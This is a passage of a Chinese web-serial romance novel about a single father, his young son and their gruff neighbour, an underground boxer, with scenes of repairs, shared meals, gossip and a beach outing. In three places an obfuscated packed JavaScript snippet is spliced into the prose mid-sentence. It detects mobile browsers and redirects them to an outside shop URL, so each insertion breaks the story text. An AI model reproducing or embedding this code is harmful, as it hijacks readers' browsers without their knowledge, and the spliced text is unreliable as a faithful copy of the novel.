既然人家已经开口,沈庭章也没什么好推拒的。 过去开门。 对方走到近前才发现,这人比他还要高出大半头。 走动间,压迫感十足。 沈庭章不动声色后退半步,让开路。 经过时,蔺宵轻扫了眼他两只发红的手心,拎着工具箱去救爬藤架。 刚把箱子“咣当”放地上,屋里跑出来一个小孩儿,肥嘟嘟的,脸上还有几条睡出的红印子。 看见他猛地刹住脚,转头冲进旁边人怀里。 “爸爸,他是谁啊?” 沈庭章压了压他睡翘的头发,介绍:“这是隔壁邻居……” “我姓蔺,单字宵,元宵的宵。” 蔺宵背对着,在工具箱里翻翻找找。 沈庭章自然接过话,“我姓沈,名庭章,这是我儿子,小满。” 扳手咚!砸回工具箱。 蔺宵侧目瞥爷俩两眼,重新取出铁钳。 袖子随意挽两道,对着藤架上的铁丝一掰一绞,轻松拽出底部劈叉的木棍,语句简洁问:“有新的么。” “有,你等等。” 沈庭章松开小满,拿起藤架旁一根新木棍递过去。 淡淡的檀香顺风飘到鼻间。 蔺宵盯着伸过来的那只手两秒,接过木棍撑在地上,调整高度和角度,再将铁丝重新拧紧。 以他的身高,刚刚好。 沈庭章一旁若有所思:“这爬藤架是你做的吧。” 蔺宵话不多,侧着头点点。 耳边随后传来些轻快,“我就说,这里原来住着一对老夫妇,怎么会把铁丝绕那么高…谢谢你。” “不客气。” 固定住木棍,蔺宵把钳子利落地收回工具箱,“没什么事,我先走了。” “天也不早了,不介意的话,在这里吃了饭再走吧。” … 隔壁老夫妇没搬走前,蔺宵来过几次。 女儿远在国外不常在家,每次有什么需要修的搬的,都会来搭把手。 偶尔也在这儿吃一顿。 他将工具箱往门口一放,进去。 堂屋构造和以前差不多,没做多大变动。只是家具都换成了红木的,沙发上铺着软垫和沙发巾,额外塞了几只流苏抱枕。 蔺宵环顾四周,茶几上还放着几本摊开的图画书,正中央紫金香炉里燃着凝神静气的熏香,和沈庭章手上味道一样。 “哥哥,给,喝水。”沈小满抱着一次性纸杯过来,踮起脚递给他,“爸爸去厨房了,很快就能吃饭。” 厨房里飘出阵阵香气。 沈庭章招呼着锅,翻炒几下又忙去洗切配菜。 身后推拉门这时“咚咚”几声响。蔺宵拉开,道:“我来帮你。” “不用了,你是客人,先坐着,菜马上好。” 拒绝的同时,蔺宵已经跨进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677882|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺大一只,原本还算宽敞的厨房一下变得逼仄窄小。 蔺宵接过菜盆,声音尽数压在滋啦冒油的锅里,“我也就帮了点小忙,白吃你家一顿饭过意不去。” 沈庭章赶着去翻炒大虾,笑了,“这可不是什么小忙。” 简单修个爬藤架怎么不是小忙? 这点事,花钱请人来,人家都不收钱。 沈庭章淋上调好的酱汁收锅。 蒸汽沸腾中,清泠的声线悠悠落入耳中,“昨晚要不是多亏你和你的朋友,我和小满可没那么容易脱身。” 菜篮子噗通掉进池子里。 蔺宵错愕回头:“你知道是我?” 沈庭章关了火将大虾装盘,没有直接回答:“昨天我们见过,两次。” 即便第二次他没露正脸,衣服还是同一件,身形也大差不差。 他还不至于老眼昏花。 “这个忙,足够请你吃饭了吧。” … 沈庭章共做了三道菜,油焖大虾、菠萝咕咾肉以及沈小满最讨厌的木须炒胡萝卜,另外还熬了一锅冬瓜玉米排骨汤。 沈小满又爱又恨。 他不会剥虾,只能屈从淫威,勉强塞两小口胡萝卜。 就算是这样,剥够五只虾后,沈庭章就不帮他剥了,“五只够多了,还想吃,过两天爸爸再给你做。” 沈小满无声抗议了一小会儿,败下阵默默扒饭。 剩下的,大半都进了蔺宵肚子。 沈小满眼馋得很,噘起嘴巴控诉:“哥哥为什么能吃那么多,小满就只有几只。” “因为他是大人。” “大人就能吃很多了?” 倒也不是。 沈庭章就吃不了几只,他食欲一向不怎么好。 谁料,沈小满把他的沉默当成了默认。 跳下椅子绕到蔺宵身边,直勾勾盯着他挽起袖子露出的麦色小臂,上手戳戳戳,“哥哥,怎样才能长得像你一样又高又壮啊?” 蔺宵低头望进一双亮闪闪的大眼睛里,拿起公筷,给他夹了一大筷胡萝卜,“不挑食就行。” 沈小满:“……” 对面的人没忍住,笑了一声,拉回他:“还不快吃。这可是哥哥特地给你夹的,吃了就能长得又高又壮哦。” 沈小满再没说过话。 肉都扒拉干净了,还在跟碗里的胡萝卜丝较劲。 较到最后,乖乖吃完。 托着肚子走两步,直接倒沈庭章怀里。 “爸爸,小满吃得好撑,给小满揉一揉好不好。”他拉着沈庭章手就往肚子上放。 蔺宵缓缓眯起黑眸,“小半碗饭和菜,不至于撑成这样吧。” 小人儿埋头抖两下,抓紧沈庭章衣服,鼓起腮帮。 这个哥哥,怎么这么讨厌! 他都吃胡萝卜了,找爸爸贴贴有什么错? “小满胃口小,还又喝了汤,估计是胀的。”沈庭章倒是会给他找理由。 摁着肚子不轻不重揉几下,舒服得沈小满直哼唧。 蔺宵却没来由地涌起一阵烦躁,扯扯领口起身,“我吃饱了。多谢款待,先走了。” … 回到隔壁。 第一件事就是去卫生间。 水声哗哗,蔺宵站在淋浴器下,抓着打湿的额发向后顺。闭上眼总能想起,沈庭章搂着小孩儿揉肚子的画面。 垂着脑袋,丝毫没发现衬衫被扯歪了,明晃晃朝他露出脆弱白皙的漂亮脖颈。 锁骨之上似有一颗小小的红痣。 水温调至冷水。 蔺宵昂着头,凸起的喉结缓慢滚动了一下,又一下… 5. 蔺宵其人 “你们觉不觉得老大最近有点奇怪。” 快到营业时间,Black酒吧的吧台边依旧聚着几个闲人。 提到老大,如同往湖中投入一颗巨石,瞬间激起千层浪花。 紧跟着就有人附和: “上回有个醉鬼把酒洒老大身上,他都没生气。” “这个星期还大发慈悲给我们放了两天假。” “三天没去拳场了。” …… 种种迹象,无不证明老大身上的异常。 这时,一声大嗓门毫无征兆闯入,“渴死我了。小牧,来杯果汁!” 激烈讨论倏地停下,目光齐刷刷转向推门进来的周扬。 周扬大步走到吧台,吸溜一口鲜榨橙汁,再看他们:“马上就要开店了,不去干活儿,聚这儿干嘛?” 有人就问:“扬哥,你有没有发现老大最近很奇怪?” 周扬抱着杯子挑眉,“你说谁奇怪?” “老大啊。” “老大怎么了?” “最近不太正常。” “哦。” 哦! 一个哦,就想把他们给打发了? “老大可是咱们的主心骨,他要是真出什么问题,咱们怎么办?” 几人暗地里推来推去,推出一头红毛的小牧,巴巴求他:“扬哥,要不你去老大家看看呗。” “……” 看、看、看! 有什么可看的。 这帮黑心肝儿的,一有事,扬哥长扬哥短把他推出来。这种特殊时期,宵哥要是发飙,拿他开刀怎么办? “扬哥,你就去嘛。” “我有廖婷婷电话。” 廖婷婷,就是周扬常挂在嘴边的女神,至今却连电话都没要到。 … 隔天下午, 周扬深深叹口气,拐进幸福里居,沿巷道踱步晃悠。 他可不是为了要婷婷电话,他这是担心宵哥。 宵哥家几号来着? 16、17…… 路过18号门口,周扬停住了。 “吊篮没什么大毛病,嘎吱响可能是底座螺丝锈了或松了,我放下来看看。” 蔺宵放倒吊篮,拿起工具箱里的螺丝刀,就和门外人对上视线。 “宵,宵哥?” 周扬对他蹲别家院儿里修吊篮这事大为震撼,抬手指着人久久不能回神。 还是沈庭章从屋里出来,注意力一下被吸引过去。 沈庭章一眼认出他那头白毛,颔首浅笑:“真是有缘,又见面了。快进来说话吧。” “诶…诶!”周扬磕磕绊绊应一声进去。 目光紧紧追随着沈庭章,直到对方转身进屋,这才拐个弯儿到蔺宵跟前。 回头撞上一张臭脸。 蔺宵:“你来干什么?” “看看哥啊。”说这话的时候,周扬还不停往屋里瞄。 下一秒,一把螺丝刀横在眼前。 周扬讪讪笑了下,扭头觑着他手里的家伙什,“哥最近没去拳场,就是为了修这个?” 蔺宵没回他,抓过一旁矮凳塞身下坐着,扶着吊篮,单手拧松底座螺丝,嘴里也没闲着:“酒吧那几个叫你来的?” “那可不。”院儿里没其他矮凳了,周扬就蹲他旁边,学小牧那些人背后蛐蛐他的语气,“您这几天脾气也忒好了,大家怕啊。” 谁能想到,堂堂同里地下拳王,搁这儿修吊篮。 说出去谁信? 不过—— 他默默转过脑袋,面向堂屋,正巧沈庭章端着一盘切好的西瓜出来,身后还跟了个“小尾巴”。 小尾巴穿条橄榄绿背带短裤,瞧见他,蹬蹬跑过来,咧嘴笑出两个梨涡,喊:“哥哥!” “诶!”周扬大声应了,上手一顿薅他头发,“还记得我呀。” 沈小满重重点头。 “哥哥打跑了坏人,很厉害!” 崇拜的目光直直望过来,周扬下意识挺了挺背。 沈庭章将西瓜放到爬藤架下的圆桌上,跟着道:“上回走得匆忙,还没跟你好好道谢。这是刚从水里冷过的西瓜,不嫌弃的话,尝尝吧。” “那我不客气了。” 周扬屁颠屁颠过去,全然将来这儿的目的和身后人忘得一干二净。 他嘴甜又爱笑,两颗尖尖的犬牙,看着就让人忍不住亲近,沈小满跟他,比跟蔺宵这几天加起来说的话都要多。 当然,也很容易被他套去许多话。 譬如:“爸爸今年三十啦!” 极具爆炸性的一句话,周扬一口西瓜差点呛进喉管,咳得昏天黑地。 缓过来再去看沈庭章那张脸,也很难将他和三十这个数字划上等号。 无意识道:“沈哥看起来好年轻,跟还没毕业的大学生似的。” “对啊对啊。”沈小满边啃瓜边附和:“爸爸最好看了。” 周扬:这个,他举双手双脚赞同。 三下五除二啃完西瓜,满口西瓜汁又问:“沈哥打哪儿来?怎么想到来同里的?” 沈庭章把之前跟司机师傅说的话又重复了一遍,“小满下半年要上一年级了,我看这里环境不错。” 环境? 周扬还是头回听人说同里环境好,转念一想,人家指的又不是别的,哈哈陪笑两声。 “可巧了不是,我妹妹漫漫,今年七岁也要上一年级了。到时候,没准儿能跟小满一个班呢。” “若真能一个班,届时互相有个照应也是好的。” 风吹藤叶,送来阵阵凉意,几人坐在阴凉地吃瓜诉闲话,好不惬意。 就是…好像少了一个人。 周扬越聊越上头,掏出手机要跟沈庭章加好友。 耳边突然乒乒乓乓几声响。 大螺丝刀、小螺丝刀、十字螺丝刀滚落一地。 蔺宵扶起吊篮,做最后一步安装。 他今天穿一件紧身黑T,袖口牢牢箍着臂膀,一用力,肌肉明显凸起。 太阳底下晒着,几滴汗沿额角一路滑到下巴尖,啪嗒!滴落。 周扬咬着瓜看过去,对上蔺宵骇人的视线,一个猛子哆嗦起身,随后,抄起一片西瓜就要借花献佛。 只是没等他动作,已经有人先一步过去。 “真是不好意思接二连三地麻烦你,这吊篮要是修不好就别修了,歇歇吧。”沈庭章递去一条浸过冷水的毛巾。 捏着毛巾的手嫩地好似一块豆腐。 蔺宵看几眼,吸口气压轻声音:“能修好的,马上就好了。” 他说马上,就在拧紧最后两颗螺丝后。 吊篮又重新挪回爬藤架下圆桌旁。 沈小满立马放下手里啃一半的瓜,迫不及待爬上去摇两下,再没听到嘎吱响声。 “蔺宵哥哥真厉害!” 蔺宵极浅地勾了下唇,转身接过沈庭章手里的冷毛巾擦擦脸,再将手也一根一根擦干净。 放下毛巾,沈庭章又端来一盘西瓜,顺势留他们吃个晚饭。 “沈哥还会做饭呐!”周扬感叹一句。 就要乐呵呵应下,余光瞥见宵哥明显不悦的脸色,忙摆手:“呃…饭就不必了,我妹今天从外婆家回来,我得赶去接她。下次!下次有机会再尝尝沈哥的手艺。” 寻个理由同蔺宵一道离开。 刚从沈庭章家出来,意外撞上附近邻居,躲他们似洪水猛兽,两步到家,将院门关得震天响。 不怎么常来的周扬都习惯了。 毕竟在外人看来,他们就是整日无所事事的街头混混,还经常打架斗殴,稍微正常点的人家都不会想跟他们这种人来往。 沈庭章父子也是刚来不久,还不知道他们的“英勇”事迹,时间一长怕是…… 周扬一路想着事儿跟蔺宵回家,直到前面的人冷不丁停下撞了上去,揉着额头回神。 蔺宵将工具箱往茶几上随意一摆,轻车熟路抽出一根烟咬住,打上火深吸一口,吐出白色烟雾,“说吧,什么事。” 就因为他最近举动反常? 可拉倒吧。 蔺宵混到如今,还不至于那么蠢。 周扬也不跟他墨迹,敛了先前的一身混混气,坐对面,先说:“您三天没去拳场,这拳场就乱套了。” 蔺宵靠沙发上,把烟送到嘴边,示意他继续。 “之前不是说有外乡人被余志强那老东西狠狠宰了一顿嘛。其中有个拳击手不服气打算闹大,反手被送到拳场,说只要他打赢一场,就把所有赌资退还给他,这人也傻,还真他么去了。几天下来,人都快废了,关键一开始是这小子自愿签的生死状。” 这不活脱脱把命送人家手里。 “也是飘了,自认是拳击手,又只要打赢一场,就觉得自己稳了。”周扬狠狠吐槽:“他怎么不想想,那老赖皮没把握敢这么干?” 地下拳场又怎么可能干净。 拳场的人也是觉得,再这样下去得出人命背锅,迫不得已才来找拳王。 蔺宵在拳场有绝对的话语权,余志强那边怎么也得卖他两分面子。 但他们不敢自己来。 4、5、8这三个月,是蔺宵逆鳞月,每到这时候脾气都异常暴躁。他们生怕拳王一个不高兴,先砸碎他们的天灵盖,所以请他来当说客。 说实话,周扬也没把握。 他跟宵哥关系好,不代表宵哥不会揍他啊。 讲清楚来龙去脉后,心里就在打鼓。 鼓声都快跳出嗓子眼儿了,烟雾弥漫的屋里总算传来一点回音:“帮忙可以,给我找个人。” “谁啊?” 蔺宵连抽两口烟,重重碾熄在烟灰缸里,“一个外乡人,应该是从燕北来的,8月8号去过西山。” “……这冷不丁的,找人干嘛?”周扬暗自嘀咕,抬头撞上那双恶狠狠的眼睛,抖个激灵,忙道:“哥你放心,保准给你找到。” 他挠着额角干笑。 一脸人畜无害,看得蔺宵忽然心生厌烦,“没什么事了就滚,以后少来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677883|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿。” “啊?沈哥还让我下次有空再去他那玩儿呢。”只要不扯正事,周扬又恢复成那副没皮没脸的样子。 平日里,蔺宵随他闹,今天却一口否决,“不行。”他提醒周扬也在提醒自己,“别忘了,我们是什么人。” 社会的败类,混混。 要是沈庭章知道了…… — 眨眼,搬来同里已经一个星期。 每天下午,沈庭章都会带着小满去超市买菜,顺便熟悉附近道路。 沈小满认得极快,没几天就把路摸得透透的,反倒是沈庭章,方向感很差,要是一个人走,估计半天都走不出四拐八弯的巷子。 这天,他和小满如往常一样买菜回来。 掏出钥匙正打算开门,右手边17号院子门先开了。 一个60来岁的妇人挎着菜篮出来,瞧见他们,主动过来打招呼:“你就是买了朱老大房子的人吧。” 沈庭章略略颔首,引导小满叫人。 “奶奶好。” “诶!”张秀梅打量着他们,眯起眼睛笑,“这小孩儿长得好啊,随爸爸,爸爸长得也好看。” 她前段时间去女儿家了,这两天才回来。 回来一看了不得,买朱老大家的居然是这么一个仙气飘飘的人物。 张秀梅菜也不急着去买,站门口扯了好些话,又问他哪里人,多大了,怎么不见孩子妈妈…… 得知小满妈妈早早没了,唏嘘好一阵子。 转头跟他说起这地方的事。 沈庭章耐心听着,偶尔点点头,没有丝毫不耐烦。 张秀梅越看越欢喜,要不是女儿早早嫁人,都想拐回家当女婿了。 念头一起,不免想起从女儿家回来那天看到的,拉着沈庭章手拍两下,语重心长:“孩子,你刚来,不知道,19号,就你左手边那户,他可不是个什么好的。” 和煦笑意陡然愣在脸上,沈庭章拉开距离,收回被她握住的手。 张秀梅没有察觉,还在自顾自地:“那个蔺宵,整天正事不干,游手好闲,跟一群混混打架。听说啊,他高中时候害死亲爸,后来又活生生逼死亲妈,可惜没证据,警察也抓不了。而且,他好像还…还喜欢男的!” 回来那天,看到蔺宵和一个白毛混混从沈庭章家出来,本来没想多管闲事,今天看他一单亲爸爸带着孩子不容易,免不得秃噜几句。 “你别怪婶儿啰嗦,这不怕一万就怕万一,你啊,以后少跟他打交道,最好不要。” 夕阳西下,橘红霞光悄然落进巷子里,照得巷道半昏半明。 沈庭章垂着眼睫看不清脸上情绪,声音倒是一如既往地温和:“……多谢婶子好言相告。” 又说了几句,对方骑电动车离开后,转身推开院门。 沈小满抱一袋子菜跟在后头,仰着脸:“蔺宵哥哥真是奶奶说的那种人?” 有的话,他听不明白,但也知道那个奶奶在说蔺宵哥哥坏话,叫他们不要理蔺宵哥哥。 他偶尔也挺讨厌蔺宵哥哥的,可听她那么说,心里很不舒服。 沈庭章接过他手里的菜,淡淡然:“耳听尚为虚,眼见也不为实。一切观自在心。” 沈小满神游了会儿,果断摇头:“小满不懂。” “意思是,用心去看。”沈庭章把菜堆到爬藤架下的圆桌上,问他:“这架子是不是蔺宵哥哥修好的?” 沈小满毫不犹豫点头。 “那吊篮修的牢不牢固,还嘎吱响么。” 沈小满爬上去,坐着晃两下,摇头,“我怎么晃,它都不会响了。” 沈庭章循循善诱:“是谁的功劳?” “蔺宵哥哥!” “这就对了。”沈庭章揉他脑袋,“亲眼看见的都不一定是真的,更何况是不知道传了多少双耳朵听到的。以前在幼儿园不是也做过类似的游戏?第一个人传话给第二个人,以此类推到最后一个,往往能得出五花八门的答案。” “啊!这个我知道!” “所以啊,都是一样的。”他又点点沈小满鼻子,“要想不被误导,就用心看用心听,用心去感受,而不是旁人说什么就是什么,被人牵着鼻子走。” 沈小满明白了,又好像没明白,“既然这样,爸爸刚才为什么不反驳她?” “她既然说出口了,就代表她也认同。如果我强行去辩反徒增怨怼。我们刚来这里,以后没准要在这儿住很长一段时间,邻里关系还是以和为贵好。况且…站在她的角度,也是一番好心。” “好心,还说哥哥坏话。”沈小满嘟着个嘴忿忿不平,又问:“那我们以后还要不要跟蔺宵哥哥说话?” 沈庭章没有回答,反问他:“你觉得呢?” “我觉得……”沈小满支支吾吾:“上回吃饭,哥哥给我夹了好多胡萝卜,如果他不夹胡萝卜给我了,我就还跟他说话。” “哈哈!没想到,我家小满还挺记仇的嘛。”沈庭章爽朗地笑几声。 明暗交织的巷子里,脚步声轻轻离去。 6. 不怕我么 夜里,忽然下了一场雨。 沈庭章睡眠浅,被雨声惊醒后,起身揉了揉膝盖。 自从两年前不小心摔伤腿,每到阴天下雨,关节就跟针扎似的。 看过许多医生也不见好,只能贴一贴膏药缓解。 出来时是个晴天,膏药就忘记带了,现下只能徒手慢慢地摁揉。 揉个十来分钟,手酸了,沈庭章才停下去关窗。忍着疼走到窗边,外面雨下得不小,黑夜中乌蒙蒙的,天上仿若直直垂下了一道水帘,将屋里院外隔成两个世界。 细雨卷着夜风肆意拍打木框,溅了些进来。 沈庭章拉住一扇窗,正准备关上时发现,这么晚了,路上居然还有人。 天太黑瞧不大真切,只隐隐看个轮廓,很高。 走起路来,一瘸一拐。 沈庭章没多在意,关了两扇窗拉上遮光帘,转身回床上。 刚躺下,睡得昏天黑地的沈小满咕噜滚进他怀里,半梦半醒:“爸爸,下雨了?” 沈庭章应一声,拍着他的背轻哄:“八月的雨,来得急去得也快。” … 第二天, 天还没亮,雨就已经停了。 院子像被水冲洗过,打开门,雨后清新的空气扑面而来,爬藤架的藤叶上还悬着几滴透亮的水珠。 沈小满吃完早饭满院跑,专门换了双嫩黄色的小雨靴踩进水坑里,蹲下去看水中倒影。 沈庭章随后端着机洗好的衣服出来,一件一件扯平褶皱套上衣架,挂到院内晾衣杆上。 朝阳此时浅浅露了个边,越过联排屋顶落进小院。 沐浴在阳光下,发丝都跟抹了层蜜糖,亮晶晶的。 真好看! 爸爸世界第一好看!! 沈小满托着肉肉的腮颊目不转睛,突然,抬手指向沈庭章身后,“蔺宵哥哥!” 隔壁院子的阁楼,窗户大敞。 蔺宵夹根烟倚在窗前,黑压压的眸子直直望下来,不知道看了多久。 脸上似乎有伤? 沈庭章不禁想起昨晚雨夜里的人,压着被风吹起的鬓发,大方问候:“早上好。” 迎上来的眼睛里揉碎了曦光,柔和且温暖… 喉结急速滚动两下。 蔺宵捏紧窗框,神色自然地回应。 沈小满跟着向他挥手,“蔺宵哥哥早!哥哥吃早饭了么?” 话音刚落,17号的堂屋大门吱呀一声,张秀梅端着木盆出来,朝这边看。 蔺宵匆忙咽下含在嘴里的话,胡乱点点头关上窗。 窗户不隔音,交谈声一字不落传进耳中。 “小沈起这么早啊。” “婶子起得也挺早的,吃早饭了么?” “还没呢,等把手里的活儿干完了再吃。”张秀梅边说边往远处阁楼偷瞄,走到两家院墙前,压低声音:“哎呦!昨天都那样说了,怎么还敢跟他说话啊。” 沈庭章不甚在意地笑:“打个招呼而已,不妨事。” “别跟他来往……” “知道了。”沈庭章极少打断人说话,“张婶儿还是早点去吃饭吧,小满也要看书认字了。” — 这之后,开始一连几天不见蔺宵人影,只偶尔在半夜听到隔壁开关门的声音。 如此明显避开他们的举动,连小满都看出来了,“蔺宵哥哥以后是不是都不理我们了。” 给他擦头的手一顿,继而捏住脸上愈发圆润的肉包。许久,沈庭章才说:“不会的。” “小满最近都不怎么挑食了,蔺宵哥哥肯定过不了几天就理我们了,到时候还会夸小满呢,不挑食,以后就能跟他一样,又高又壮。” “真哒!” 想象了下自己长大后的样子,沈小满托着肉脸,倒他怀里嘻嘻笑。 笑闹一阵,央求沈庭章给他讲睡前故事。 图画书上的故事翻来覆去就那几个,沈小满早都看过了,但是听爸爸说,又是另一种享受。 绵密清润的嗓音环绕着,很快阖上眼,坠入甜甜的梦香。 万花齐放的季节,他在花园里扛着网兜到处扑蝶,爸爸就坐在大理石桌旁,矜贵斯文地啜饮他最喜欢的凤凰单丛,笑着看过来…… 沈庭章轻轻合上书,搁到床头柜上,关灯睡觉。 … 刚睡下不久,就听一阵咣咣开锁声。 原以为又是从隔壁传来的。 不曾想,那声音断断续续维持了相当长一段时间,听着倒像是在自家院外。 有人在开他家的锁? 恍惚一阵子,沈庭章总算醒神,下床悄悄拉开窗帘一角往外瞄,院外果真站着个人。 三更半夜不睡觉摸人家门…小偷! 沈庭章的心猛地揪紧,摸黑拿起手机就要报警。再朝门口定睛一看,脸瞧得不大清楚,高大的身影却莫名有几分眼熟,也不像他认知里贼头贼脑的小偷。 那会是—— 心里隐隐有了个答案。 沈庭章开门出去。 走到对方近前,先闻到一股无法忽视的酒味。 这是喝了多少? 他掩住口鼻,出声:“蔺宵。” 院外人停下动作,摇摇晃晃抬起头,眼前突然出现了两个沈庭章。 “你怎么在我家?” 沈庭章:“……” 蔺宵用力晃两下脑袋,自言自语:“我一定是醉了。” 说罢,继续拿钥匙开锁。 划拉几下,别说打开,锁孔都没对上。 沈庭章看不下去了,打开门,好脾气道:“你走错了。” 钥匙哐当!掉地上。 蔺宵捡起来,踉跄后退着去看门牌。 还真是18。 脸上闪过一丝懊恼,埋着头闷声:“对不起,走错了,吵醒你了吧。” “这没什么,我睡眠一向比较浅。”看他左摇右晃站都快站不稳,沈庭章忍不住留他:“我给你泡个蜂蜜水解解酒吧。” 脚步忽地一停。 蔺宵回过头,浓墨重彩的黑眸丝丝缕缕涌动着暗芒。 眼前两个沈庭章慢慢合二为一。 他似乎有些醒了,扯着被酒灼伤的嗓子,小心问:“……不怕我么?” 那些传言,也不全是假的。 院子一下静得出奇。 久久没听到回答,蔺宵的心一点点下陷,头也跟着越埋越低。 起脚要往后挪,一声叹息精准落到耳畔。 沈庭章拢了拢披在身上的米色外衫,清清朗朗:“要是问刚搬来那天,确实有点怕。那副生人勿近的样子,险些以为你不分青红皂白就要来揍我。” “我不是,没有……” 沈庭章笑,“我现在当然知道你不会。要你真是那么个人,也就不会来帮着修架子了。” 他两步到人跟前,认真了几分,“一个帮了我们的人,有什么好怕的?不过——你若是能多笑一笑,就更好了。” 前几天在阁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677884|144219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼上,面无表情地往下看,说实话,还是有点怵。 话落,蔺宵便罕见地扯开嘴角。 看得出来已经努力过了,脸颊都在用力抽搐,试图凹出弧度。 就是这个笑容……沈庭章抿了抿唇,没忍住,低笑出声。 “怎么了?难道不是这么笑的?”蔺宵摸上自己的脸,疑惑。 沈庭章笑够了,放下手摇头:“我只是一说,你没必要真按照我说的做。”他又问:“现在感觉怎么样?有没有清醒些?” 蔺宵点点头又摇头。 “看来还是得喝点蜂蜜水,跟我进来吧。” “好。” 蔺宵跟着他进屋。 进去前,沈庭章还不忘小声提醒:“小满睡了,我们动静轻些。” 蔺宵一个趔趄,差点被门槛绊倒。 直愣愣坐在沙发上半晌,耳边仍不停重放那句似娇似嗔的“轻些”,像有根羽毛轻轻拂过心脏。 呼吸骤然加重。 蔺宵不知道是怎么喝完了满满一大碗蜂蜜水,等他缓过神,早已经躺在自家沙发上。 咂巴两下嘴,口腔里还残留着那股腻人的甜味。 今晚,他也难得做了场好梦。 梦醒后,看着一片狼藉的沙发套,默默拆了扔进洗衣机。 路过洗漱台,鬼使神差地朝镜子扬起嘴角,下一秒就被镜子里的自己怔住。 他笑起来,原来这么的——难看! 蔺宵为此自闭了一整天。 直到手机响起。 对面闹哄哄的,周扬扯着嗓门喊两声,才从嘈杂的房间里出来。 “宵哥,您要找的人……” “找不到?” 周扬不吭声了。 同里每天都有大批外乡人进出,仅凭他给的那点信息,实在无异于大海捞针。 “算了,本来也没指望能找到。”蔺宵只是不甘心,被那个小少爷跑了。 如今知道真有这个人的存在,下次再想来,可没那么容易! 深谙老大的情绪就跟七.八月的天气,没个定数。周扬试探问:“继续找,还是……” “没必要再浪费人力。” 这是不找了的意思。 周扬松口气,耳边紧跟着传来一阵高过一阵的哭嚎。 “怎么了?” “是我妹,说马上开学了,非要去趟海边。不带她去,搁家里边闹呢。”周扬后悔不已。 他就不该这个时候将皮猴子接回来。 “周扬。”蔺宵冷不丁连名带姓地叫,“孩子想去玩儿,就带着去。” “啊?” — 半小时后, 周扬抱着妹妹出现在幸福里居19号,悚然:“宵哥,你刚才电话里说什么?” 蔺宵没回他,走到院墙边对着隔壁喊:“小满。” 屋里很快跑出一只白糯米团子。 “蔺宵哥哥!你叫我?” 蔺宵点点头,问他:“想不想去海边玩儿。” “海边!” 沈小满睁大眼,就要将“去”这个字吐出来,关键时候回头看向身后,“我去问问爸爸。” “想去就去吧。”沈庭章仅迟疑了一瞬,拜托蔺宵,“麻烦你们路上多照顾照顾他。” “沈哥不跟我们一起么?”周扬大喇喇问。 沈庭章看看他和他怀里的小女孩,再低头看向眼巴巴瞅着自己的小满,摸了摸他的头。 “我…也去。” 7. 出发海边 考虑到距离最近的海岸也有十多公里,蔺宵先去把停在附近的车开来。 钥匙转手扔给周扬。 拉开后车门,等两个孩子和沈庭章都上去后,一脚跨进去,嘭!关上。 一套动作丝滑流畅。 如果没把周扬关外面,他高低得夸一句,漂亮! 现在嘛…… 他捧着钥匙不是很理解,宵哥往日不是奉行做任何事都亲力亲为的么,尤其开车,总说方向盘要握在自己手里才最安全,今儿个…下太阳雨了? “愣着干什么。”车窗降下,蔺宵似乎心情极好:“还不快去开车。” 可不能在他高兴的时候触霉头。 周扬赶紧绕过车头拉开门上去,系上安全带调整座椅靠背,瞥眼车内后视镜,顺嘴道:“我们出发……出发啦。” 他边踩离合,边又去看镜子。 好家伙,他那个好妹妹正死命贴着人沈哥,又是摸手又是摸脸的,平时看自家哥哥就像看臭虫,现在呢,恨不得闪着24k黄金光到处射。 咋的,人家沈哥香呗。 “哥哥,你好香啊。” “……” 两个小孩坐中间,沈庭章和蔺宵分坐两边。 本来是沈小满挨着爸爸,哪曾想,还没系上安全带,穿着蓬蓬裙扎俩辫儿的小女孩就把他挤开了。 沈小满现在不比周扬好多少,腮帮气鼓鼓的,绅士风度都维持不住了。 “你离我爸爸远一点!” 周漫漫扭头眨巴两眼,车子拐弯时身子一歪,不小心倒沈庭章身上,趁机抱住,“哥哥身上香香的。” 沈小满:!!! 肉圆子脸眼看气成了河豚,泪眼汪汪告状:“爸爸你看她!” 沈庭章反笑了笑,手伸过来,在他脑袋上揉两下,“小满乖乖坐好。” “……哦。” 眼泪立即憋了回去,但还是不开心,爸爸身边怎么可以有除他以外的小孩儿贴着。 周漫漫也同样不喜欢这个会告状的小胖子。 一股无言的硝烟开始悄悄蔓延。 可不能让他们吵起来。 沈庭章默默打开背包,从里头拿出一只包装精美的盒子。 “哥哥,这是什么呀?”周漫漫伸长脖子瞅。 沈庭章啪叽!打开盖子,浓郁的奶香瞬间席卷整个车厢。 周漫漫顿时瞪大眼。 